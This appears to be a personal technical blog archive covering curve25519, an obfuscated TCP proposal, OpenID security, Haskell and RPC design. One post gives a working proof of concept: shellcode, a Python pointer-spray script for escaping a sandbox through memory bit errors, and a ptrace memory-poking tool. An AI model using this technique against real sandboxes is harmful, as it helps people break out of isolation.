Next there's the ACM SIGOPS Operating Systems Review. These papers are about much more experimental developments in the kernel and are thus more fun, even if they are less likely to see the light of day:

• Extending futex for kernel to user notification
• PipesFS: fast Linux I/O in the unix tradition
• Plan 9 authentication in Linux

I've just releasedtwo new...

I've just released two new curve25519 implementations: one in C and one in x86-64 assembly. The latter is 10% faster than djb's implementation.

curve25519 is an elliptic curve, developed by Dan Bernstein, for fast Diffie-Hellman key agreement. DJB's original implementation was written in a language of his own devising called qhasm. The original qhasm source isn't available, only the x86 32-bit assembly output.

Since many x86 systems are now 64-bit, and portability is important, this project provides alternative implementations for other platforms.

(All tests run on a 2.33GHz Intel Core2)

Google has, at last, open...

Google has, at last, open sourced Protocol buffers. My, very minor contribution to this is that I wrote the basis for the encoding documentation.

Protocol buffers pretty much hit the sweet spot of complexity and capability. (See XML and ASN.1 for examples of attempts which missed.) I have the beginnings of a protocol buffer compiler for Haskell that I wrote for internal apps. Now that the C/Java/Python versions are out, I should probably clean that up and put it on Hackage. But every coder should consider protocol buffers for their serialisation needs from now on.

The Black Swan

Firstly, if you're wondering what happened to all the ObsTCP stuff, it didn't disappear, it just moved to a different blog. Things are still moving as fast as I can push them.

(ISBN: 1400063515)

This book has some good, if unoriginal, points about the stupidity of much of the modeling done in today's world, esp the world of finance. Sadly, these are hidden in many pages of self-centered rambling and discourse on adventitious topics. If you're thinking of buying this book, get The (Mis)behaviour of Markets by Mandelbrot instead; you'll thank me.

I've added a bunch of Obs...

I've added a bunch of Obsfucated TCP stuff to the obstcp project page code.google.com include kernel patches, userland tools, specs and friendly introductions.

Also, I posted it to Reddit. If it doesn't get downvoted into /dev/null in 60 seconds, the comments will probably end up there.

OpenID - not actually spawn of Satan

A blog post aggregating complaints about OpenID has been popping up in different places this morning. If you've read it, you might want a little perspective. I'm not going to deal with each point in turn because there's so many, mostly repeating each other.

Phishing

At login time, the site that you're logging into can end up redirecting you to your OpenID provider. Your provider then tells you to go to their site and enter your login information, then click a button to try again. They don't provide a "link" to their site and they don't ask for your password.

Some early providers might not have followed these basic steps, but all the reasonable ones do.

Yes, it's still possible for users to be confused but, by habit they'll be used to doing to right thing.

XSS and CSRF

XSS problems on the providers site are a big deal. This criticism is reasonable.

CSRF may be a bigger deal because you are more likely to be 'logged in' to the target. However, most users already keep persistent cookies to save logging into these sites. The additional attack surface here is dubious; CSRF issues are a problem with or without OpenID.

DNS poisoning

If your OpenID starts with https://, you should be protected from DNS poisoning attacks and the like by the usual TLS PKI. This isn't perfect, but it's pretty good.

However, the OpenID spec says that plain domain names are normalised by prepending http://. This is a technical problem with the spec and should be fixed. Until then, this is a reasonable criticism but not a fundamental issue.

Privacy

The OpenID provider has a lot of information about your activities. This is little different than, say, your email account and many people are happy with Gmail. Likewise, password recovery on most of the sites which could use OpenID is based on email access, so most people already have a single password that suffices for entry to many sites.

If you don't like the idea of Gmail you can run your own email server. Likewise, you can run your own OpenID provider.

Using the same OpenID on many sites does allow them to link your activities. So does giving these sites your email address for password recovery. So does using the same IP (although to a lesser extent).

Some providers will let you have many OpenIDs linked to the same account for this reason. Joe user probably won't use that feature and probably gives the same email address to all those sites already and so looses nothing.

Trust problems

OpenID is not a trust system. Trust systems may be built on top of identity systems. Likewise, apples are not oranges and complaints about their lack of tangyness are moot.

Usability / Adoption

Somewhat valid points here. It's a big job to get widespread adoption and, at the moment, it's a pretty small crowd that uses OpenID. However, OpenID doesn't need a flag day; it can have incremental deployment.

Availability

Valid points. If your provider goes down you're going to have a bad day.

Conclusion

I don't believe that OpenID should be used to login to your bank account. However, for the myriad of sites that I login to (Google Reader, reddit, ...) it would be nice to just be able to type my OpenID in. It's decently suited to that because I'm fed up with all these accounts.

I'm now running a Ubuntu ...

I'm now running a Ubuntu based laptop with a somewhat functions Obsfucated TCP patch in its kernel. (If you have a Neo like view of the Internets you'll be able to see it by the funny options in the SYN packets.)

Hopefully soon I'll be able to post a first draft patch for other people to try. In the mean time, I wrote the start of the mounds of documentation I suspect it'll need: a very non-technical introduction.

I've updated the patches ...

I've updated the patches linked to in the last post with today's work. Both sides now end up with the same shared key (and not just because they got the same private key from lack of entropy like before). That took some fun tracking down of bugs.

Also, packets are now HMAC-MD5'ed with the shared key, and invalid packets are dropped. That also took far longer than expected. I ended up using the MD5 implementation from the CIFS filesystem because the kernel's crypto library is just plain terrible. It's also totally undocumented but, from what I can see, you can't lookup an algorithm without taking a semaphore, and that requires that you be able to sleep. I almost think I must be missing something because that's dumber than the bastard offspring of Randy Hickey and Jade Goodie.

But there we go. Encryption (with Salsa20) to come next Wednesday.

First Obsfucated TCP patches

After a day of kernel hacking, I have a few patches which, together, make a start towards implementing ObsTCP.

• Add support for Jumbo TCP options, as documented here: tcp-jumbo-options.patch
• Add curve25519: curve25519.patch
• Some ObsTCP work: tcp-obsfucated-tcp.patch

At the moment, it will advertise ObsTCP on all connections and, if you have two kernels which support it, you'll get a shared key setup. At the moment, the private key is generated at boot time and since the host doesn't have any entropy then, it's always the same. So I'll have to do something special there. Also, I've a problem where the ACK with the connecting host's public key can get lost. Since ACKs aren't ACKed, this can be a real pain. I think I need to include it in every transmitted packet until (yet another) option signifies that it's been received.

After the last post expla...

After the last post explained why small curves aren't good enough for obsfucated TCP, I decided that, since I'm going to have to do some damage to the TCP header to get a bigger public key in there anyway, I might as well go the whole way and use curve25519, by djb. Now, djb has forgotton more about elliptic curves than I'll ever know and I feel much happier using a curve that's been designed by him. As you can probably guess from the name, it's a curve over 2²⁵⁵-19 - a prime. So the public keys are 32 bytes long.

In order to get that much public key material into a TCP header, here's my proposed hack: Jumbo TCP options.

djb's sample implementation of curve25519 is written in a special assembly language called qhasm. Sadly, it's so alpha that he's not actually released it. So the sample implementation is for ia32 only, uses the floating point registers and has 5100 lines of uncommented assembly. It is, however, freaking quick.

However, since I have kernel-space in mind for this I've written a C implementation. It's about 1/3 the speed (and I've not really tried to optimise it yet), doesn't use any floating point (since kernel-space doesn't have easy access to the fp registers in Linux) and fuzz testing seems to indicate that it's correct. (At least, it's giving the same answers as djb's code.)

Next step: hacking up the kernel. (And I thought the elliptic curve maths was hard enough.)

Elliptic curves don't work either

(For context, see my previous post on OTCP)

In any Diffie-Hellman exchange based on elliptic curves, we have Q=aP where P and Q are points on an elliptic curve. The operation of multiplying a point and a scalar is well defined, but unimportant here. The problem facing the attacker is, given Q and P, find a. If they can do that, we're sunk.

If you could find a pair of numbers such that: cP + dQ = eP + fQ then you're done because: (c-e)P = (f-d)Q = (f-d)aP, then a = (c-e)/(f-d) mod n, where n is the size of the field underlying the curve.

Finding such a point by picking random examples is never going to work because of the storage requirements. However, if you define a step function which takes a pair (c, d) and produces a new pair (c', d') you have defined a cycle through the search space. (It must be a cycle because the search space is finite. At some point you must hit a previous state and loop forever.) Now you can use Floyd's cycle finding algorithm to find a collision with constant space. This is an √n algorithm for breaking this problem and is well known as Pollard's rho method.

Now, if you have many of these problems you get a big speed up by using some storage. Assume that you do the legwork to solve an instance of the problem and that you record some fraction of the points that you evaluated. (How you choose the points isn't important so long as it's a function of the point; say pick all points where the first m bits are zero.)

Now, future attempts to break the problem can collide with one of the previous points. If you find cP + dQ = eP + fR (note that P is a constant of the elliptic curve system) and also that R = bP (because we solved this instance previously) then cP + dQ = cP + adP = (e+fb)P and so (c-(e+fb)) / d = a (and we know all the values on the left-hand side).

Now, 2¹¹² (14 bytes) is about as big an elliptic curve point as we can fit in a TCP header. The maximum options payload is 40 bytes, of which 20 are already taken up in modern TCP stacks. We need 2 bytes of fluff per option and, unless we want this to be the last TCP header ever, we need to leave at least 4 bytes. That's where the 14 byte limit comes from.

We give the attacker 2⁵⁰ bytes of space. I believe that each point will take 3*14 bytes of space for the (c,d,Y) triple, where Y = cP+dQ. Thus they can store 2⁴⁴ distinguished points. Thus one in 2^56-44=12 points are distinguished. Additionally, generating those 2⁴⁴ points isn't that hard, computationally. This suggests that an attacker can find a collision in only 2¹² iterations., or about 2¹³ field multiplications.

So, again, a reasonable attacker can break our crypto in real time.

This scheme becomes much harder to sell if we have to do evil things to the TCP header in order to make it work.

If you've been wondering ...

If you've been wondering what I'm up to at work, we now have a public blog for the RechargeIt project.

How sad: from reading the...

How sad: from reading the sleepcat documentation on network partitions, it's clear that BDB uses a broken replication system (i.e. not Paxos). That's a shame because I was hoping to use it.

Yahoo now has OpenID for ...

Yahoo now has OpenID for all its accounts, which is great. Wonderful in fact. OpenID is a good thing for many authentication needs on the Internet and will make the world a better place.

However,...

• SHA256 isn't supported, only SHA1. It's true that the standard doesn't require it, but this still gets you lots of crapness points.
• The return_to is filtered. Probably someone here had good intentions, but I can redirect a browser to any URL, so filtering the return_to is pointless and overly restrictive. Specifically, it appears that:
  • You can't have a port number in the host
  • You can't have an IP address for a host
  • You can't have a single element hostname (like localhost)
  So, more crapness points for Yahoo.

  How good is a 64-bit DH exchange?

  In my last post, I suggested that a register based modexp for 64-bit numbers could run at about 500K ops/sec. Well, I wrote one and got 450K ops/sec on an older Core2. (That's with gcc -O3, but no tuning of the code. Plus, I don't know the standard algorithm for 128-bit modulus using 64-bit operations, so I wrote my own, which is almost certainly suboptimal.). Roughly that's 2²⁰ ops/s, so a brute force solution of 64-bits would take about 2⁴² seconds, which is more than enough for us.

  However, there are much better solutions to the discrete log problem than that. Here I'm only dealing with groups of prime order. There are very good solutions for groups of order 2ⁿ, but DH uses prime order groups only.

  The best information I found on this are a set of slides by djb. However, they are a little sparse (since they are slides after all). Quick summary:

  • Brute force parallelises perfectly. An FPGA chip could do 2³⁰ modexps per second. An array of really good ones could push that upwards of 2⁴⁰ modexps/sec.
  • Breaking n Diffie-Hellmans isn't much harder than breaking one of them when using brute force. Since you can look for collisions against all n public keys at once. If you were a sniffer trying to sniff hundreds of connections per second, that's actually a big advantage. That could give up an amortised benefit equal to 2¹⁰ or more.
  • You can use "random self reduction" to "split" a problem into many problems and solving any of them they breaks the original problem. Combine this with the previous point and you can speed up the breaking of a single problem.
  • If you figure out the optimal number of subproblems to "split" the original problem into you have the "giant step, baby step" algorithm which takes only about 2√n modexps to break (where n is 64 in our case).
  • Now things are getting complex, so I'm just going to include the results: Pollard's rho method lets us break 64-bits in 2³² modexps.
  • The Pohlig-Hellman method is even better, but you can choose a safe prime as your group order to stop it. (A safe prime, p, is such that (p-1)/2 is also prime.)
  • The "index calculus" method uses lots of precomputation against the group order to find specific solutions in that group very quickly. I must admit that I'm a little shaky on how index calculus works, but I've found one empirical result where a Matlab solution was breaking 64-bit discrete logs in < 1 minute, including the precomputation.

  In short, attacks against discrete log in prime order groups are a lot stronger that I suspected. The index calculus method, esp, seems be a killer against 64-bit DH exchanges providing any sort of security. Since we don't have the time (on the server) or the space (in the TCP options) to include a unique group for each exchange, the precomputation advantage means that it's very possible for a sniffer to be breaking these handshakes in real time.

  Damm.

  So it would appear that we need larger key sizes and, possibly elliptic curve based systems (the EC systems, in general, can't be attacked with index calculus based methods). RFC 2385 suggests that 16 bytes in a TCP header is about as much as we would want to add (they are talking about SYN packets, which we don't need to put public values in, but the absolute max is 36 bytes.), which gives us 128-bit public values. Looks like I need to read up on EC systems.

  OTCP - Obfuscated TCP

  Like open SMTP relays, TCP was developed in a kinder, gentler time. With Comcast forging RST packets to disrupt connections and UK ISPs looking to trawl the clickstreams of a nation and sell them (not to mention AT&T copying their backbone to the NSA) it's time that TCP got a little more paranoid.

  The 'correct' solutions are something along the lines of IPSec, but there's no reason to suspect that anyone is going to start using that in droves any time soon. Application level crypto (TLS, SSH etc) is the correct solution for protecting the contents of packets (which would stop the clickstream harvesting style of attacks), but cannot protect the TCP layer (and HTTPS is still not the default for websites).

  An opportunistic obfuscation layer, on by default, would start to address this. By making it transparent to use, it stands a chance of getting some small fraction of traffic to use it. If it were included in Linux distribution kernels we might hope to see it in the wild after a year or so. In certain sectors (BitTorrent users and trackers) we might see it much sooner.

  Our attacker has a couple of weaknesses:

  • Their sniffers are in parallel with their backbone for good reason: if the sniffers fail or cannot keep up with the traffic it's not a big deal. This means that they are limited to observing and injecting traffic. Moving inline (to alter traffic) would be very expensive.
  • Legally, altering traffic seems to be much more sensitive than filtering it. Much of Comcast's statements about their RST injection have been stressing that it's limiting, not forging nor intercepting (however technically false that might be).

  With that in mind I'm going to suggest the following:

  SYN packets from OTCP hosts include an empty TCP option advertising their support. OTCP servers, upon seeing the offer in the RST packet, generate a random 64-bit number (n), less than a globally known prime and return 2^n mod p in another TCP option in the SYN,ACK. The client performs the end of a DH handshake and includes its random number in a third option in the next packet to the server.

  The two hosts now have a shared key which they can use to MAC and encrypt each packet in the subsequent connection (the MAC will be carried in a TCP option). The MAC function includes the TCP header and payload, except the source and destination port numbers. The encryption only covers the TCP payload, not the IP nor TCP packet.

  The hash function and cipher need to very fast and just strong enough; the key is only 64-bits. MD4 for the hash function and AES128 for the cipher, say. (benchmarks for different functions from the Crypto++ library). I suspect that the cipher needs to be a block cipher because packets get retransmitted and reordered. A block cipher in CTR mode based on the sequence number seems to be the best way to deal with this.

  A getsockopt interface would allow userland to find out if a given connection is OTCP, and to get the shared key.

  Q: Can't this be broken by man-in-the-middle attacks?

  Yes. However, note that this would require interception of traffic which is much more costly than sniffers in parallel and legally more troublesome for the attacker. Additionally, userland crypto protocols could be extended to include the shared secret in their certified handshakes, thus giving them MITM-proof security which includes the TCP layer.

  Q: Isn't the key size very small?

  Yes. However, even if the key could be brute forced in 10 seconds; that's still far too much work for a device which is monitoring hundreds or thousands of connections per second.

  Q: Doesn't this break NATs

  NATs rewrite the IP addresses and port numbers in the packets, which we don't include in our MAC protection, so everything should work. If the NAT happens to rebuild the whole packet, the OTCP offer in the SYN packet will be removed. In this case we loose OTCP but, most importantly, we don't break any users.

  NATs which monitor the application level and try to rewrite IP address in there will be broken by this. However, the number of protocols which do this is small and clients may be configured by default not to offer OTCP when the destination port number matches one of these protocols (IRC and FTP spring to mind). This is a hack, but the downside to users of OTCP must be as small as possible.

  Q: So can't I break this by filtering the offer from the SYN packet?

  Yes. Application level protocols could be extended to sense this downgrade attack and stop working, but mostly see the points above: it's much more expensive to do this since it needs to be done in the router and it's legally more troublesome for the attacker.

  Q: Won't this take too much time?

  It's additional CPU load, certainly. The Crypto++ and OpenSSL benchmarks suggest that a full core should be able to handle this at 1 Gbps. Most servers don't see anything like that traffic. Maybe more concerning is the DDoS possibility of using OTCP to force a server to do a 64-bit modexp with a single, unauthenticated packet. A very quick knock-up using the OpenSSL BN library suggests that a single Core2@2.33GHz can do about 50000 random generations and modexps per second. Since the keys are so small, I expect that a tuned implementation (using registers, not bigints) would be about 10x faster. You probably run out of bandwidth from all the SYNs before 500,000 SYNs per second second maxes a single core (it's about 37MB/s). So SYN floods shouldn't be any more of a problem.

  Q: What about my high-performance network?

  I suggest that offering OTCP be disabled by default for private address ranges. Also, distributions probably won't turn it on for their "server" releases. If all else fails, it'll be a sysctl.

  Q: But then I'm wasting CPU time and packet space whenever I'm running SSH or HTTPS

  Right. Userland can turn off OTCP using a sockopt if it wishes, or it could just not enable itself for the default destination ports which these protocols use. (Again, that would be an ugly intrusion of default port numbers into the kernel, but this idea wasn't that beautiful to begin with.)

  Q: So, what's the plan?

  • Write a patch
  • Get it in the mainline
  • Badger distributions to compile it in with server support and client side off by default.
  • In time, get the client side offers turned on by default for "desktop" distributions
  • Save Internet

  Keyspan USB serial dongle drivers for amd64 Ubuntu 7.10

  Ubuntu doesn't ship with this driver, but it's useful: keyspan.ko

  To install, copy to /lib/modules/2.6.22-14-generic/kernel/drivers/usb/serial and depmod -a && modprobe keyspan (as root).

  I've just setup darcs.imp...

  I've just setup darcs.imperialviolet.org, mostly for myself (so that I can keep my laptop and home computer in sync), but also to serve anyone else's agl code needs .

  Maybe there's something t...

  Maybe there's something to this democracy lark after all:

  You will be pleased to know that this amendment was deleted from the
  voting list, thus we did not vote on it. The price of liberty is eternal
  vigilance!

  That's from Thomas Wise. Now I'm not a fan of UKIP - but I'm quite happy with this.

  Also, see comments on the BoingBoing story about this win

  I've had a section here c...

  I've had a section here called Letters I've written to my MP for ages. I've not really had an MP for a while now so it's dried up a little. But fear not, stupidity hasn't left politics! Danny from the EFF alerts us to more stupidity (stupidity in bold) from the EU. However, I don't have time to get a physical letter there before the vote, so an email will have to do.

  Dear Sir,

  I find myself dismayed to read the proposed amendments, numbered 80 and 82 (paragraph 9a) in the Guy Bono report which I believe comes to the vote on Tuesday. This text is replete with misunderstandings which are sadly all too common.

  Amendment 80 proposes legislative action to put the burden of copyright infringement on Internet Service Providers by compelling them to use filtering technologies. Thankfully I don't need to hypothesise about the consequences of this since this experiment has already been attempted in the United States in the 1998 Digital Millennium Copyright Act (DMCA). Despite protections which are probably in excess of what the proposers of this amendment would consider reasonable, the DMCA has lead to a culture of censorship where risk-adverse ISPs are quick to remove any claimed potential liability and then have no incentive to consider to revise this decision. As a short example, the Church of Scientology has repeatedly[1] used the DMCA to hamper the work of those claiming that it's a dangerous cult - a view shared by the German government for one.

  Amendment 82 shows a gross misunderstanding of copyright law as demonstrated by language like "artists who risk seeing their work fall within the public domain in their lifetime" and "consider the competitive disadvantage posed by less generous protection terms in Europe than in the United States". Both of these notions should have been put to rest by the generally excellent Gowers report[2]. The public domain is not a risk. Copyright is very much a temporary monopoly and the public domain is the expected, and correct, fate of copyrighted works. Gowers also notes that artists hardly benefit from the current excessive copyright term let alone a even longer one. Also, the competitive advantage is that foreign rightsholders earn more by charging EU citizens for longer. The advantage exists, but it's not to the EU citizen.

  Please do your utmost to remove these paragraphs from the final report and thus save the CULT committee from ridicule.

  Thank you.

  Yours,

  Adam Langley

  [1] http://www.politechbot.com/p-03281.html
  [2] http://www.hm-treasury.gov.uk/independent_reviews/gowers_review_intellectual_property/gowersreview_index.cfm

  RPCA Semantics

  I'm currently writing an RPC layer in Haskell (and also in C since I expect that I'll need it). I'm using libevent's tagged datastructures (which is why you've see Haskell support for that from me), however I'm not using evrpc because of a number of reasons. Firstly, it uses HTTP as a transport. What troubles me about using HTTP directly as a transport layer is the in-order limits that it imposes. The server cannot deliver replies out of order, nor can it deliver multiple replies for a single request (at least, not with replies to other requests mixed in), nor can it send any unsolicited messages (e.g. lame-mode messages).

  Also, evrpc has no support for lameness, although that's fixable (modulo the HTTP issues). Because of all that I decided to roll my own, called RPCA (because I'm not sufficiently self-centered just to call it Network.RPC ). I'm including part of the RPCA documentation below for comments.

  RPCA is an RPC system, but that's a pretty loose term covering everything from I2C messages to SOAP. So this is the definition of exactly what an RPCA endpoint should do.

  RPCA RPCs are request, response pairs. Each request has, at most, one response and every response is generated by a single request. That means, at the moment, so unsolicited messages from a server and no streaming replies.

  RPCs are carried over TCP connections and each RPC on a given connection is numbered by the client. Each RPC id must be unique over all RPCs inflight on that TCP connection. (Inflight means that a request has been send, but the client hasn't processed the reply yet.) A reply must come back over the same TCP connection as the request which prompted it. If a TCP connection fails, all RPCs inflight on that connection also fail.

  An RPC request or reply is a pair of byte strings. The first is the header, which is specific to RPCA. The only part of the header which applications need be concerned with is the error code in the reply header. The second is the payload (either the arguments in the case of a request, or the result in the case of a reply). This may be in any form of the applications' choosing, but it expects that it'll be a libevent tagged data structure.

  An RPC is targeted at a service, method pair. A server can export many services but each must have a unique name on that server. (A server is a TCP host + port number.) Each service can have many methods, the names of which need only be unique within that service.

  A Channel is an abstract concept on the client side of a way of delivering RPCs, and getting the replies back from a given server, service pair. It's distinct from a connection in that a Channel can have many connections (usually only one at a time, though) and that a Channel targets a specific service on a server.

  On a given server a service may be up, lame or down. There's no difference between a service which is down and a service which a server doesn't export. Services which are lame are still capable of serving requests, but are requesting that clients stop sending them because, for example, the server is about to shutdown. When a service becomes lame it sends special health messages along all inbound connections to the server, so that clients may be asynchronously notified. (Note that health messages aren't RPCs so this doesn't contradict the above assertion that there are no unsolicited RPC replies.)

  If a Channel is targeted at a single server, service pair, then it's free to assume that the service is immediately up. If not, the server will set the error code in the RPC replies accordingly. If a Channel is load-balancing (i.e. is has multiple possible servers that a request could be routed to) it must wait to perform a health check before routing any requests to any server. A load-balancing Channel stops routing requests to any servers which report lameness.

  Note that lameness is a per-service value so that some services on a server may be lame with others are up.

  Recent Haskell work:binar...

  Recent Haskell work:

  • binary-strict: strict binary parsing, including bit parsing
  • fec: forward error correction (Reed-Solomon)
  • control-timeout
  • codec-libevent: support for libevent's tagged data structures

  So it's been really very ...

  So it's been really very quiet here for a while. Actually, it's been pretty much that way since I started at Google. A full time job takes up quite a lot of time and energy.

  Mostly my outside coding efforts have been going into Hackage recently (think of it as the Haskell CPAN). If this work would interrest you, you probably already know about it.

  But what prompted me to write this was yet more about the semantic web. I think TBL's Weaving the Web and some of the various articualtions are inspiring. Freebase is cool.

  But I still don't know when the RDF model became the start and end of semantic work. The RDF model says that the semantic world is a list of (subject, relation, object) triples. There are a bunch of semi-standards building on top of that, but I see little questioning of that basic model.

  But it just plain doesn't make sense to me. If we consider a triple to be an arc in a graph of objects, we know the starting and end points of the arc and we have the type of the arc (the relation). But I want to know over what time period that arc is valid. The triple (Adam Langley, lives-in, London) was valid for a few years but isn't now. Also I want to know who is asserting this arc, how sure are they etc. Maybe I want to say that someone has at-least some number of children.

  This results a model something like [Arc] (getting back to Haskell here) where an arc is [(Attribute, Value)] (a key-value list). Without a start, end and type the arc is pretty much useless I'll admit, so those probably are required, but arcs need so much more.

  Rant over.

  For reasons that I won't ...

  For reasons that I won't go into here, someone was asking me about running untrusted code in Python. Just as a musing, I came up with the following:

  Although you might be able to lock down a Python interpreter so that it wouldn't run any code that could do anything bad, you still have to remember that you're running on a real computer. All real computers go subtly wrong and introduce bit errors in memory. If you're very lucky, you'll find that your server has ECC memory, but that only reduces the number of bit errors.

  A Python object has a common header which includes a pointer to its type object. That, in turn, contains function pointers for some operations, like getattr and repr. If we have a pointer to a Python object, bit errors can move that pointer back and forth in memory. If we had lots of Python objects with payloads of pointers to a fake type object, we could hope that a bit error would push one of the pointers such that we can control the type object pointer.

  Let's start with a bit of position independent code that prints "woot" and exits the process:

    SECTION .text
    BITS 32
    mov edx, 5
    mov ebx, 1
    call next
    next:
    pop ecx
    add ecx, 21
    mov eax, 4
    int 0x80
    mov eax, 1
    int 0x80
    db "woot", 10

  Nasm that to t.out and we have our shellcode. Next, construct a python script that amplifies bit errors in an array of pointers in an expliot:

    import struct
    import os
    import array
  
    # load the shellcode
    shellcode = file('t.out', 'r').read()
    # put it in an array
    shellarray = array.array('c', shellcode)
    # get the address of the array and pack it in a pointer
    shelladdress = struct.pack('I', shellarray.buffer_info()[0])
    # replicate that pointer lots into an array
    eviltype_object = array.array('c', shelladdress * 100)
    # and get the address of that and replicate into a string
    evilstring = struct.pack('I', eviltype_object.buffer_info()[0]) * 100
    # create lots of pointers to that string
    evillist = [evilstring] * 100000
    print os.getpid()
    # Call the repr function pointer for every element in evillist for ever
    while True:
      for x in evillist:
        repr(x)
        print 'ping'

  So, memory looks like this:

  [pointer pointer pointer ...] | | | V V V [String-header pointer pointer pointer] | | | V V V [pointer pointer ... ] | | V V [shellcode ]

  So the size of the first level gives us a window in which bit errors can turn into exploits. The size of the second level lets us capture more bit errors (we could also have a couple of strings, in the hope that they are next to each other on the heap, so that we can catch bit-clears too). How many bits of each 32-bit pointer can we expect to be useful? Well, it's probably reasonable to have a 128K evilstring, so that's 15 bits (since changing bits 0 and 1 will screwup our alignment). So, about half of them. To test the above, I cheated and wrote a bit-error-generator:

  int main(int argc, char **argv) {
      const int pid = atoi(argv[1]);
      const unsigned start = strtoul(argv[2], NULL, 0);
      ptrace(PTRACE_ATTACH, pid, NULL, NULL);
      wait(NULL);
      long v = ptrace(PTRACE_PEEKDATA, pid, (void *) start + 32, NULL);
      v += 32;
      ptrace(PTRACE_POKEDATA, pid, (void *) start + 32, (void *) v);
      ptrace(PTRACE_DETACH, pid, NULL, NULL);
      return 0;
  }

  And here's the output:

  % python test.py
    0x80633f8
    30911
    0xB7C24F0CL
    ping
    ping
    woot

  Success!

  If you happen to want to ...

  If you happen to want to run industrial scale document scanners under Linux, I've just open sourced the (small) driver that you'll need: kvss905c on Google Code.

  Signed numbers don't overflow in C

  The title of this post is clearly daft; signed numbers are of a finite size so, of course they overflow. However, physical reality doesn't agree with the C standard which says that compilers can (and do) assume that overflow never happens. Take this, for example:

  int a, b;
  if (a > 0 && b > 0 && a + b > 0) foo();

  A compiler can remove the third test because it's redundant given the assumptions that a + b cannot overflow.

  Clearly, this is pretty scary stuff and it's one of the reasons that I use unsigned everywhere. However, I'm very happy to read the GCC 4.2 change log to see the following:

  New command-line options -fstrict-overflow and -Wstrict-overflow have been added... With -fstrict-overflow, the compiler may assume that signed overflow will not occur, and transform this into an infinite loop. -fstrict-overflow is turned on by default at -O2, and may be disabled via -fno-strict-overflow. The -Wstrict-overflow option may be used to warn about cases where the compiler assumes that signed overflow will not occur. It takes five different levels: -Wstrict-overflow=1 to 5. See the documentation for details. -Wstrict-overflow=1 is enabled by -Wall.

  Continuation monads for state machines

  CPS (continuation-passing-style) is a code style which is often the result of the first step in compiling many Scheme like languages. Since I learned this stuff in Scheme, that's what I'm going to use in the beginning, switching to Haskell soon after.

  So here's a top level Scheme program

  (print (fact 10))

  Rather than return, each function gets a function in its argument list which is its continuation. It's the function for the rest of the program which takes the result of the current function. It's always a tail-call.

  (fact 10 (lambda (v) print v #exit#))

  So here, fact runs and calls its continuation with the result. This continuation is a function which prints the value and calls its continuation, which terminates the program.

  Easy, right?

  So here's a continuation monad in Haskell; but a quick motivation first. What this will give us is something like a Python generator, but which we can pass values in to. So it's a state machine, but without the inverted flow of control and without threads.

  newtype M o a = M ((a->o)->o)
  nstance Monad (M o) where
    return x = M (\c -> c x)
    (M g)>>=f = M (\c -> g (\a -> let M h = f a in h c))
  

  Here, o is the output type (the type of the values which are yielded) and a is the input type. The monad itself is a wrapper around a function of type ((a->o)->o) - a function which takes a continuation and returns the output type of that contination. The bind method is pretty scary, but I can't explain it any better here than the code already does - I'll just end up using more letters to say the same thing. (I have to work it through every time I read it anyway.)

  Now we need a couple of helper functions, but first the example: we're going to build a lightswitch which takes three commands: set (with an Bool value), toggle and query:

  data Result a = NewState (a->Result a) | Value Bool (a->Result a) | Final
  data Input = Set Bool | Toggle | Query

  So all our commands have to yield a value of type Result, querying will return a Value and the other two will return a NewState (which isn't really a result, it just gives the new continuation of the system). Final is there to be the value marking the end of the stream (it doesn't contain a next continuation).

  yield x = M (\c -> Value x c)
  wait = M (\c -> NewState c)

  These functions are how we yeild values. Both are values in M which take a continuation and return a Result which passes that continuation back to the caller.

  runM cm = \x -> let (M f) = cm x in f (\c -> Final)

  This is a function which takes a first input, applies it to something which results in a continuation monad, unwraps that monad and gives it the final continuation, one which eats its given contination and gives Final

  lightswitch state v = do
    case v of
      Set state -> wait >>= lightswitch state
      Toggle -> wait >>= lightswitch (not state)
      Query -> yield state >>= lightswitch state

  This is our lightswitch, it takes an initial state and an Input and updates its state accordingly and returns some Result using either yield or wait. It recurses forever.

  step cont = do
    line <- getLine
      case line of
  	"toggle" -> case cont Toggle of NewState cont' -> step cont'
      	"query" -> case cont Query of Value x cont' -> putStrLn (show x) >> step cont'
  	otherwise -> putStrLn "?" >> step cont

  Here's the code that uses the state machine. It's in the IO monad and runs a little command line where you can type in commands and see the results:

  toggle
  query
  True
  toggle
  query
  False

  It takes a continuation (which is the state of the state machine) and applies an Input to it to get another continuation (state of the machine). You can, of course, keep around any of these states and "undo" something by using an older state.

  And to tie it all together:

  main = step $ runM $ lightswitch False

  We pass False as the initial state of the system and use runM to stick the final continuation on the end; then we have a continuation for the state machine and off we go.

  Hopefully that made some kind of sense. To give credit where it's due: I stole the bind method (and motivation) from this paper.

  The science of fault finding

  When bad things happen, it's a science tracking them down. I had a big one today and I've been thinking about how I go about it (in the hope that I can go about it faster in the future).

  A fault/failure has a chain of events from the thing that changed to the thing that failed to the signal that let you know that something was wrong. Sometimes the failure and the signal are the same thing (what failed? It crashed. What's the signal? It crashed). And some times the thing that changed is the same as the thing that failed (what changed? The O-ring seal burst. What failed? The O-ring). The difference between the thing that changed and the thing that failed is that the latter is the first thing in the chain of events which you can make a value judgment about. Change happens, but failure is bad.

  In the system I'm dealing with we have many, many (many) signals about what's going on. Lots of those signals changed today. Some of them don't have value judgments; they're aren't saying that anything is wrong, just that something is different. The chain of events has many branches and not all of them cause anything bad. However, several important indicators (error rate, latency) do have value judgments and they were creeping up.

  Now beings the science: have ideas, test them out. You can start from both ends of the chain; trying to figure out what changed and trying to work back from the signals. Since this was affecting the whole world there was one very obvious thing that changed at about the right time, but there were several other possibilities. Someone went off to investigate the other possibilities but mostly we concentrated on the big change, although we had no idea how it could have caused a problem.

  Now, at this point I think it would have been helpful to scribble on a whiteboard or on paper to record our facts about the problem. Otherwise you spill working memory and you forget why you discounted ideas. I'm very much thinking of something like the differential meetings in House (the TV show).

  However, I'm mostly thinking about how it took so many people so long to figure out where the failure was. In hindsight, we had all the clues needed fairly quickly and I even knew that they were important because I kept looking at the two signals which turned out to be critical. Neither were out of range, but they told contradictory states of the world. If you had tracked me down in the corridor and asked “How can both A and B be true?” I could have told you pretty quickly. But for some reason I was looking for other factors which could influence the more indirect of the signals. It didn't help that I didn't know the system all that well, but I still should have worked through the logic assuming that they were correct first and not taken 20 minutes to do so.

  Of course, everything is obvious in hindsight, but I still feel that I've missed the lesson somewhere here. Maybe I just need to start writing things down when I get into that state. It's similar to explaining something to someone; it helps you organise your thoughts too. I guess I'll see how that goes next time.

  Ian has launched Thoof, a...

  Ian has launched Thoof, a bookmarking service with a smart recommendation engine. He probably doesn't want a /.'ing right now, but I'm sure that IV's readership load isn't going to cause too many issues.

  [NYTimes on Thoof]

  The good and bad of code reviews in a large organisation

